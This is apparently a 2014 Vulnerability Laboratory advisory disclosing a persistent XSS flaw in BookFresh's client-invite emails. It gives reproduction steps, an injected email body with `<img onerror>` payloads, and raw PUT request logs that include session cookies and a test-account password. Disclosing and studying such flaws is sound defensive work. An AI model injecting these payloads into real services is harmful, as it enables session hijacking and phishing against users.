Document Title: =============== BookFresh - Persistent Clients Invite Vulnerability
References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1351 Release Date: ============= 2014-10-28 Vulnerability Laboratory ID (VL-ID): ==================================== 1351 Common Vulnerability Scoring System: ==================================== 3.9 Product & Service Introduction: =============================== BookFresh is an innovative scheduling software program that sets the standard for 21st century appointment management and creation for small businesses. Bookfresh connects small business owners and customers instantly. As a small business owner, you already know that a strong work ethic and uncompromised customer service is the key to building a solid client base, but sometimes a little magic and innovation is all you need to watch your profits soar. The BookFresh scheduling software offers scheduling solutions directly to service professionals and service brands, as well as APIs, enterprise services and reseller solutions to online publishers who have a presence with an SMB audience. Let BookFresh Work for You! Whether you are a handyman, a sales consultant, a personal trainer or even a pet sitter, BookFresh knows that the key to your success is making it easy for clients to schedule appointments with you. We live in a 24/7 world, which means that sometimes potential clients, even existing clients, want to be able to access your company at two o`clock in the morning. BookFresh makes this possible! The software we created makes it easy to accept online appointments from new and existing clients. Whether you are interested in growing your small business or simply want to upgrade your services for existing clients; our scheduling software can help you achieve these goals for your small business. (Copy of the Vendor Homepage: https://www.bookfresh.com/about-us ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered a persistent encoding web vulnerability in the official BookFresh online payment web-application & api. Vulnerability Disclosure Timeline: ================================== 2014-10-23: Researcher Notification & Coordination (Benjamin Kunz Mejri) 2014-10-24: Vendor Notification (BookFresh Security Team - Bug Bounty Program) 2014-10-27: Vendor Response/Feedback (BookFresh Security Team - Bug Bounty Program) 2014-10-28: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== BookFresh LLC Product: BookFresh - Web Application & API 2014 Q4 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ A persistent input validation & mail encoding vulnerability has been discovered in the official BookFresh web-application & api. The vulnerability allows a remote attacker to inject own malicious script codes to the application-side of the vulnerable service module. The security vulnerability is located in the `phone`,`from` and `message` input values of the `cindex.php/clients` module. Remote attackers are able to perform a PUT request to execute persistent script codes in bookfresh service notification mails. The attackers registers an user account and is able to execute script codes in the invite people notification mails of the bookfresh service. The attack vector of the issue is on the application-side of the online-service and the request method to inject the code is `PUT`. The security risk of the persistent vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.9. Exploitation of the vulnerability requires a low privileged application user account and low user interaction. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirect via mail and persistent manipulation of affected or connected module context. Vulnerable Module(s): [+] Index > Add Clients (Invite) Vulnerable Parameter(s): [+] phone [+] from [+] message Affected Service(s): [+] Invite Mail Notification Service (nore...@bookfresh.com) Proof of Concept (PoC): ======================= The persistent input validation web vulnerability can be exploited by remote attackers with low privileged application user account and low user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. Vulnerable Module: Index > Add Clients (Invite) Vulnerable URL: https://www.bookfresh.com/cindex.php/clients#9f29673d878097fd23de3bae1523da44 Test Account: b...@evolution-sec.com Test Password: chaos666 Date/Time: 24.10.2014 14:35-14:50 Manual steps to reproduce the security vulnerability ... 1. Register an account and login to the bookfresh online-service application 2. Open the client add module to invite another user account 3. Inject your own script code payload to the phone, message and from input fields 4. Send the invite to another bookfresh user or to a random email user account by usage of the save function Note: After the PUT request the injected script code in the vulnerable values bypass the validation through the bookingfresh api 5. The target mailbox gets a notify of the bookfresh service mail (nore...@bookfresh.com) thats executes the script code on the application-side in the vulnerable values context 6. Successful reproduce of the application-side (persistent) security vulnerability! PoC: Exploit <table class="mainframe"> <tbody> <tr> <td align="center"> <table border="0" cellspacing="20" cellpadding="0" width="580" bgcolor="#ffffff"> <tbody><tr><td class="mainbar" align="left" valign="top"> <!-- This mail body use in profile when we send message to customer by the click of the 'send'button and it the format of body is changed while working on ready book proj and backup is on svn before date 1 june 2007 and on developer manish tomar's local system--> Hi <img src=x onerror=alert(/PTEST/)</script> <img src=x onerror=alert(/PTEST/)</script>, # Username is secure encoded! <br /><br />You have received a new Customer Message from your BookFresh profile page. <br /><table> <tr> <td align=right>From: </td><td>>"<%20 <img src=x onerror=alert(/PTEST/)</script></td> # wrong encoded! </tr><tr><td align=right>Email: </td><td>ad...@vulnerability-lab.com</td> </tr><tr> <td align=right>Phone: </td><td>>"<%20 <img src=x onerror=alert(/PTEST/)</script></td> # wrong encoded! </tr><tr><td align=right>Message: </td><td>>"<%20 <img src=x onerror=alert(/PTEST/)</script></td> # wrong encoded! </tr></table> <br /><br /></td></tr></tbody></table></td></tr><tr> <td align="center"> <span style="font-size: 8pt; color: #808080; font-family: arial">Questions? Contact us at <a class="footer_link" href="http://support.bookfresh.com/customer/portal/emails/new?utm_campaign=bf_trans%3A%3A14-Oct-24&utm_source=send_message&utm_medium=email";>Customer Support</a>.<br /> Booking Services provided by © BookFresh, LLC</span><br/> <span style="font-size: 8pt; color: #808080; font-family: arial"><a class="footer_link" href="privacy.html">Read</a> the BookFresh Privacy Policy.</span><br/> <span style="font-size: 8pt; color: #808080; font-family: arial"><a class="footer_link" href="index.html?view=opt_out">Click here to unsubscribe, or be removed,</a> from our email list.</span><br/> <span style="font-size: 8pt; color: #808080; font-family: arial">BookFresh and the BookFresh Logo are registered trademarks of <span>BookFresh, LLC.</span></span><br/> </td></tr></tbody></table> <!-- tname: email_SendMessage.tpl tid: 26 tab: A send date: 2014-10-24--> <img src="http://email.bookfresh.com/wf/open?upn=uY64WvidYmA-2BK5R2ZgrqaysavcJU6rIwi-2BTH2m-2BnvrF7gIIWPH8UWHQ5IPkwAumsOQpAjYk9iXfKleJZs4F5L-2FrbX5cy6kOq-2F-2BgLKDDRdr0RsDKQLFl-2FONiWVLGGjc6Q9CXiSP5cPniDQsO7skfUHsaYZHVjrca69HQVChE7UbhbTtoTNujSdCVKJShEWbpQZ-2Bfw85nmnSDkQRQZxQjW2OE1c9m8t3c60RvypYObWH3rBpE0z11TXmjvuWNW3D4Q"; alt="" width="1" height="1" border="0" style="height:1px !important;width:1px !important;border-width:0 !important;margin-top:0 !important;margin-bottom:0 !important;margin-right:0 !important;margin-left:0 !important;padding-top:0 !important;padding-bottom:0 !important;padding-right:0 !important;padding-left:0 !important;"/> </body> </html> </body> </html> --- PoC Session Logs [PUT] (Phone, Message & Email Values) --- 15:29:24.953[936ms][total 936ms] Status: 200[OK] PUT https://www.bookfresh.com/cindex.php/backbone_api/clients/9f29673d878097fd23de3bae1523da44 Load Flags[LOAD_BACKGROUND ] Größe des Inhalts[656] Mime Type[application/json] Request Header: Host[www.bookfresh.com] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0] Accept[application/json, text/javascript, */*; q=0.01] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Content-Type[application/json; charset=UTF-8] X-CSRF-Token[dd5d7d46c5aa14d736fab7accaa26892] X-Requested-With[XMLHttpRequest] Referer[https://www.bookfresh.com/cindex.php/clients] Content-Length[1566] Cookie[exp_last_visit=1098793409; exp_last_activity=1414153682; exp_tracker=a%3A2%3A%7Bi%3A0%3Bs%3A7%3A%22pricing%22%3Bi%3A1%3Bs%3A5%3A%22index%22%3B%7D; exp_stashid=a%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A40%3A%22a6f1b5568526e667fc23b9df8b909c4033ccd4d9%22%3Bs%3A2%3A%22dt%22%3Bi%3A1414153409%3B%7D; __utma=172549936.1040555376.1414153707.1414153707.1414154524.2; __utmc=172549936; __utmz=172549936.1414154524.2.2.utmcsr=send_invite|utmccn=bf_trans::14-Oct-24|utmcmd=email; PHPSESSID2=fba6f3efafeba128a152ccac7f385a62; optimizelySegments=%7B%7D; optimizelyEndUserId=oeu1414153426800r0.9022819634031048; optimizelyBuckets=%7B%7D; user_segment=Prospect; 0=; 1=; ci_csrf_token=dd5d7d46c5aa14d736fab7accaa26892; hitlog_previous_view=ajax; ajs_user=%7B%22id%22%3A%22336105318%22%2C%22traits%22%3A%7B%22email%22%3A%22bkm%40evolution-sec.com%22%2C%22created%22%3A1414178914%2C%22firstName%22%3A%22%26lt%3Bimg%20src%3Dx%20onerror%3Dalert(%2FPTEST%2F)%26lt%3B%2Fscript%26gt%3B%22%2C%22lastName%22%3A%22%26lt%3Bimg%20src%3Dx%20onerror%3Dalert(%2FPTEST%2F)%26lt%3B%2Fscript%26gt%3B%22%2C%22AccountType%22%3A%22Freebie%22%2C%22Partner%22%3A%22Site%22%2C%22V2Enabled%22%3A%22yes%22%2C%22BusinessCategory%22%3A%22auto%22%7D%7D; StaffFilterActive=; FCView=agendaWeek; FCWeekends=true; wcsid=papxuKWK1AQ9pZOE4491G5P3JNLJ6b1T; hblid=ZjHg0Fr4qFgx2rsW4491G5P3JN8yLoJ1; _oklv=1414154886305%2CpapxuKWK1AQ9pZOE4491G5P3JNLJ6b1T; olfsk=olfsk7646853271129184; _okbk=cd4%3Dtrue%2Cvi5%3D0%2Cvi4%3D1414153790074%2Cvi3%3Dactive%2Cvi2%3Dfalse%2Cvi1%3Dfalse%2Ccd8%3Dchat%2Ccd6%3D0%2Ccd5%3Daway%2Ccd3%3Dfalse%2Ccd2%3D0%2Ccd1%3D0%2C; _ok=9558-780-10-9044; kvcd=1414154695823; km_ai=wRxGgAKNuV%2F1hVqbidBhjL91IRg%3D; km_uq=; km_lv=x; mp_2197551b77685f5afde96bfaeb663423_mixpanel=%7B%22distinct_id%22%3A%20%22149421cca1bb15-04ab1d7c297b6f8-41534336-1fa400-149421cca1ca98%22%2C%22Site%22%3A%20%22v3%22%2C%22%24initial_referrer%22%3A%20%22https%3A%2F%2Fhackerone.com%2Fbookfresh%22%2C%22%24initial_referring_domain%22%3A%20%22hackerone.com%22%2C%22__alias%22%3A%20%22336105318%22%2C%22mp_name_tag%22%3A%20%22bkm%40evolution-sec.com%22%2C%22AccountType%22%3A%20%22Freebie%22%2C%22Partner%22%3A%20%22Site%22%2C%22V2Enabled%22%3A%20%22yes%22%2C%22BusinessCategory%22%3A%20%22auto%22%2C%22%24created%22%3A%20%222014-10-24T19%3A28%3A34.000Z%22%2C%22%24email%22%3A%20%22bkm%40evolution-sec.com%22%2C%22%24first_name%22%3A%20%22%26lt%3Bimg%20src%3Dx%20onerror%3Dalert(%2FPTEST%2F)%26lt%3B%2Fscript%26gt%3B%22%2C%22%24last_name%22%3A%20%22%26lt%3Bimg%20src%3Dx%20onerror%3Dalert(%2FPTEST%2F)%26lt%3B%2Fscript%26gt%3B%22%7D] Connection[keep-alive] POST-Daten: {"id":"9f29673d878097fd23de3bae1523da44","deleted":"0","date_entered":"2014-10-24 05:43:12","date_modified":"2014-10-24 12:43:00","mask_flags":"0","email":"sub...@vulnerability-lab.com","encrypted_password":null,"is_valid":"0","is_merchant":"0","first_name":"<img src[x onerror=alert(/PTEST/)</script>","last_name":"<img src=x onerror=alert(/PTEST/)</script>","birthday":"1973-10-23T22:00:00.000Z","company_name":"<img src=x onerror=alert(/PTEST/)</script>","address1":"<img src=x onerror=alert(/PTEST/)</script>","address2":null,"city":"blabla","state":"","country":null,"zipcode":"23451","phone":"46436436","cellphone":"<img src=x onerror=alert(/PTEST/)</script>","phone_type":"0","cellphone_type":"0","paypal_userid":null,"owner_id":"459c17cba4ecf98084e9a1f24d319144","private":"1","notes":"<img src=x onerror=alert(/PTEST/)</script>","timezone":"America/Los_Angeles","invited":"0","user_photo":null,"enabled":"1","reminder_emails_enable":"0","reminder_emails_time":"24","reminder_emails_text":null,"appt_emails_enable":false,"reminder_emails_merchant":"0","review_emails_enable":"1","review_emails_text":null,"act_type_id":"1","is_admin":"0","is_comp":"0","last_login":"2014-10-24 12:43:00","has_welcome_call":"0","user_photo_id":null,"is_affiliate_invitee":"0","email_bounced":"0","email_bounce_date":"0000-01-01 00:00:00","is_mobile":"0","reviews_by_rating":"0","reminder_sms_enable":"0","reset_password_token":null,"reset_password_sent_at":null,"remember_created_at":null,"uid":null,"failed_attempts":"0","locked_at":null,"appt_sms_enable":false,"actions":[]}] Response Header: Server[nginx/1.4.4] Date[Fri, 24 Oct 2014 13:29:37 GMT] Content-Type[application/json] Content-Length[656] Connection[keep-alive] X-Powered-By[PHP/5.3.28] Set-Cookie[ci_csrf_token=dd5d7d46c5aa14d736fab7accaa26892; expires=Fri, 24-Oct-2014 15:29:37 GMT; path=/; httponly] p3p[CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0] Pragma[no-cache] status[200] Vary[Accept-Encoding,User-Agent] Content-Encoding[gzip] 15:29:26.325[321ms][total 321ms] Status: 200[OK] GET https://www.bookfresh.com/cindex.php/backbone_api/clients/find?query=&offset=0 Load Flags[LOAD_BACKGROUND ] Größe des Inhalts[1012] Mime Type[application/json] Request Header: Host[www.bookfresh.com] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0] Accept[*/*] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] X-CSRF-Token[dd5d7d46c5aa14d736fab7accaa26892] X-Requested-With[XMLHttpRequest] Referer[https://www.bookfresh.com/cindex.php/clients] Cookie[exp_last_visit=1098793409; exp_last_activity=1414153682; exp_tracker=a%3A2%3A%7Bi%3A0%3Bs%3A7%3A%22pricing%22%3Bi%3A1%3Bs%3A5%3A%22index%22%3B%7D; exp_stashid=a%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A40%3A%22a6f1b5568526e667fc23b9df8b909c4033ccd4d9%22%3Bs%3A2%3A%22dt%22%3Bi%3A1414153409%3B%7D; __utma=172549936.1040555376.1414153707.1414153707.1414154524.2; __utmc=172549936; __utmz=172549936.1414154524.2.2.utmcsr=send_invite|utmccn=bf_trans::14-Oct-24|utmcmd=email; PHPSESSID2=fba6f3efafeba128a152ccac7f385a62; optimizelySegments=%7B%7D; optimizelyEndUserId=oeu1414153426800r0.9022819634031048; optimizelyBuckets=%7B%7D; user_segment=Prospect; 0=; 1=; ci_csrf_token=dd5d7d46c5aa14d736fab7accaa26892; hitlog_previous_view=ajax; ajs_user=%7B%22id%22%3A%22336105318%22%2C%22traits%22%3A%7B%22email%22%3A%22bkm%40evolution-sec.com%22%2C%22created%22%3A1414178914%2C%22firstName%22%3A%22%26lt%3Bimg%20src%3Dx%20onerror%3Dalert(%2FPTEST%2F)%26lt%3B%2Fscript%26gt%3B%22%2C%22lastName%22%3A%22%26lt%3Bimg%20src%3Dx%20onerror%3Dalert(%2FPTEST%2F)%26lt%3B%2Fscript%26gt%3B%22%2C%22AccountType%22%3A%22Freebie%22%2C%22Partner%22%3A%22Site%22%2C%22V2Enabled%22%3A%22yes%22%2C%22BusinessCategory%22%3A%22auto%22%7D%7D; StaffFilterActive=; FCView=agendaWeek; FCWeekends=true; wcsid=papxuKWK1AQ9pZOE4491G5P3JNLJ6b1T; hblid=ZjHg0Fr4qFgx2rsW4491G5P3JN8yLoJ1; _oklv=1414154886305%2CpapxuKWK1AQ9pZOE4491G5P3JNLJ6b1T; olfsk=olfsk7646853271129184; _okbk=cd4%3Dtrue%2Cvi5%3D0%2Cvi4%3D1414153790074%2Cvi3%3Dactive%2Cvi2%3Dfalse%2Cvi1%3Dfalse%2Ccd8%3Dchat%2Ccd6%3D0%2Ccd5%3Daway%2Ccd3%3Dfalse%2Ccd2%3D0%2Ccd1%3D0%2C; _ok=9558-780-10-9044; kvcd=1414154695823; km_ai=wRxGgAKNuV%2F1hVqbidBhjL91IRg%3D; km_uq=; km_lv=x; mp_2197551b77685f5afde96bfaeb663423_mixpanel=%7B%22distinct_id%22%3A%20%22149421cca1bb15-04ab1d7c297b6f8-41534336-1fa400-149421cca1ca98%22%2C%22Site%22%3A%20%22v3%22%2C%22%24initial_referrer%22%3A%20%22https%3A%2F%2Fhackerone.com%2Fbookfresh%22%2C%22%24initial_referring_domain%22%3A%20%22hackerone.com%22%2C%22__alias%22%3A%20%22336105318%22%2C%22mp_name_tag%22%3A%20%22bkm%40evolution-sec.com%22%2C%22AccountType%22%3A%20%22Freebie%22%2C%22Partner%22%3A%20%22Site%22%2C%22V2Enabled%22%3A%20%22yes%22%2C%22BusinessCategory%22%3A%20%22auto%22%2C%22%24created%22%3A%20%222014-10-24T19%3A28%3A34.000Z%22%2C%22%24email%22%3A%20%22bkm%40evolution-sec.com%22%2C%22%24first_name%22%3A%20%22%26lt%3Bimg%20src%3Dx%20onerror%3Dalert(%2FPTEST%2F)%26lt%3B%2Fscript%26gt%3B%22%2C%22%24last_name%22%3A%20%22%26lt%3Bimg%20src%3Dx%20onerror%3Dalert(%2FPTEST%2F)%26lt%3B%2Fscript%26gt%3B%22%7D] Connection[keep-alive] Response Header: Server[nginx/1.4.4] Date[Fri, 24 Oct 2014 13:29:14 GMT] Content-Type[application/json] Content-Length[1012] Connection[keep-alive] X-Powered-By[PHP/5.3.28] Set-Cookie[ci_csrf_token=dd5d7d46c5aa14d736fab7accaa26892; expires=Fri, 24-Oct-2014 15:29:14 GMT; path=/; httponly] p3p[CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0] Pragma[no-cache] status[200] Vary[Accept-Encoding,User-Agent] Content-Encoding[gzip] Reference(s): https://www.bookfresh.com/cindex.php https://www.bookfresh.com/cindex.php/backbone_api/clients/ https://www.bookfresh.com/cindex.php/backbone_api/clients/find?query=&offset=0 https://www.bookfresh.com/cindex.php/backbone_api/clients/9f29673d878097fd23de3bae1523da44 Solution - Fix & Patch: ======================= The security vulnerability can be patched by a secure restriction to the input of special chars or script code tags. Parse and encode the vulnerable from, phone and message input in the clients invite module to prevent persistent script code execution attacks through service notification mails. Security Risk: ============== The security risk of the persistent input validation vulnerability in the web-server mail db encode is estimated as medium (CVSS 3.9) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (b...@evolution-sec.com) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: ad...@vulnerability-lab.com - resea...@vulnerability-lab.com - ad...@evolution-sec.com Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (ad...@vulnerability-lab.com or resea...@vulnerability-lab.com) to get a permission. Copyright © 2014 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: resea...@vulnerability-lab.com COMPANY: Evolution Security GmbH BUSINESS: www.evolution-sec.com
